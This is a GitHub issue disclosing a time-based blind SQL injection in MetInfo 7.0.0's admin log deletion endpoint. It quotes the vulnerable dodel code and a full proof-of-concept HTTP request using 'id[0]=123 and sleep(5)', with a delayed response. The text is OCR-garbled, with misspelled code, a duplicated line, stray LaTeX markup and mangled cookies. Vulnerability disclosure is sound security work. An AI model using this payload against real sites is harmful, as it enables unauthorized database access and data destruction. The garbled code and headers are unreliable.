Jump to bottom New issue

Metinfo7.0 SQL Blind Injection #1

```
⊙ Open T3qui1a opened this issue on Dec 2, 2019 · 0 comments
 T3qui1a commented on Dec 2, 2019 • edited ▼
                                                                                                                                                                                                  Owner
 Vulnerability Name: Metinfo7.0 CMS Background SQL Blind Injection
 Product Homepage: https://www.metinfo.cn/
 Software link: https://u.mituo.cn/api/metinfo/download/7.0.0beta
 Version: V7.0.0
 Vulnerability code
 logs/index.class.php
  line32-line45
               oublic function dodel(){
                   global $ M;
                    $id = isset($_M['form']['id']) ? $_M['form']['id'] : '';
                    if (!$id){
                          $this->error($_M['word']['js10']);
                   $id = implode(',',$id);
$id = implode(',',$id);
$del_resutl = DB::query("DELETE FROM {$_M['table']['admin_logs']} WHERE id IN ({$id}) ");
                    if (!$del_resutl){
                          $this->error($_M['word']['opfailed']);
                    $this->success('',$_M['word']['jsok']);
                                                                                                           Raw | Headers | Hex
 POST /MetInfo7.0.0/admin/?n=logs&c=index&a=dodel HTTP/1.1
                                                                                                          HTTP/1.1 200 OK
                                                                                                           Date: Mon. 02 Dec 2019 12:30:31 GMT
 Host: localhost
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rx:68.0) Gecko/20100101 Firefox/68.0
                                                                                                           Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.5.38
                                                                                                           X-Powered-By: PHP/5.5.38
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
                                                                                                           Content-Length: 45
 Content-Length: 22
                                                                                                           Connection: close
 Connection: close
                                                                                                           Content-Type: application/json; charset=utf-8
 Referer: http://localhost/MetInfo7.0.0/admin/
 Cookie: PHPSESSID=01b80466de9751fc3c1cfc72f0950804
                                                                                                          {"msg":"\u64cd\u4f5c\u6210\u529f"."status":1}
 Hm_lvt_520556228c0113270c0c772027905838=1575270458;
 Hm_lpvt_520556228c0113270c0c772027905838=1575288807; admin_lang=cn;
 \frac{\text{arrlanguage=metinfo; re\_url=http\%3A\%2F\%2Flocalhost\%2FMetInfo7.0.0\%2Fadmin\%2F;}{\text{met\_auth=a5ccEpa7pij9\%2Bu1jgKVK\%2FoV\%2F4ng\%2FZE4q1NHoa6WWp04qmc3l2NaeVmyVxL}}
 jrxEyfOGQU%2FJ2nMcC8WINiLixs9tGPsw; met_key=AneTFuY
 page\_iframe\_url = http\%3A\%2F\%2Flocalhost\%2FMetInfo7.0.0\%2Findex.php\%3Flang\%3Dcn\%26pag
 eset%3D1
 id[0]=123 and sleep(5)
                                                                                                         ? ( + ) Type a search term
 ? ( ) + > Type a search term
                                                                                           0 matches
                                                                                                                                                    270 bytes | 6,104 millis
 payload:
    POST /MetInfo7.0.0/admin/?n=logs&c=index&a=dodel HTTP/1.1
   Host: localhost
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 
Accept: application/json, text/javascript, */*; q=0.01
   \label{eq:continuous} Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2\\ Accept-Encoding: gzip, deflate
   Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest
   Content-Length: 22
Connection: close
   Referer: http://localhost/MetInfo7.0.0/admin/
    Cookie: PMPSESSID=01b80466de9751fc3clcfc72f0950804; Hm_lvt_520556228c0113270c0c772027905838=1575270458; Hm_lpvt_520556228c0113270c0c772027905838=157528807; admin_lang=cn;
   arrlanguage=metinfo; re_url=http%3A%2F%2Flocalhost%2FMetInfo7.0.0%2Fadmin%2F; met_auth=a5ccEpa7pIj%2Bu1jgKVK%2FoV%2F4ng%2F2E4q1NHoa6WWp04qmc3I2NaeVmyVxLjrxEyf0GQU%2F32nMcC8WlNiLixs9tGPsw; met_key=AneTFuY;
   page_iframe_url=http%3A%2F%2Flocalhost%2FMetInfo7.0.0%2Findex.php%3Flang%3Dcn%26pageset%3D1
    id[0]=123 and sleep(5)
```

T3qui1a changed the title There is a sql injection in Methnfo 7.0.0 via admin/?n=logs&c=index&a=dodel Metinfo7.0 SQL Blind Injection on Dec 4, 2019
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development
No branches or pull requests
1 participant

Taquila changed the title There is a sqlimjection in Methnfo 7.0.0 via admin/?n=logs&c=index&a=dodel There is a sql injection in Metlnfo 7.0.0 via admin/?n=logs&c=index&a=dodel There is a sql injection in Metlnfo 7.0.0 via admin/?n=logs&c=index&a=dodel

on Dec 4, 2019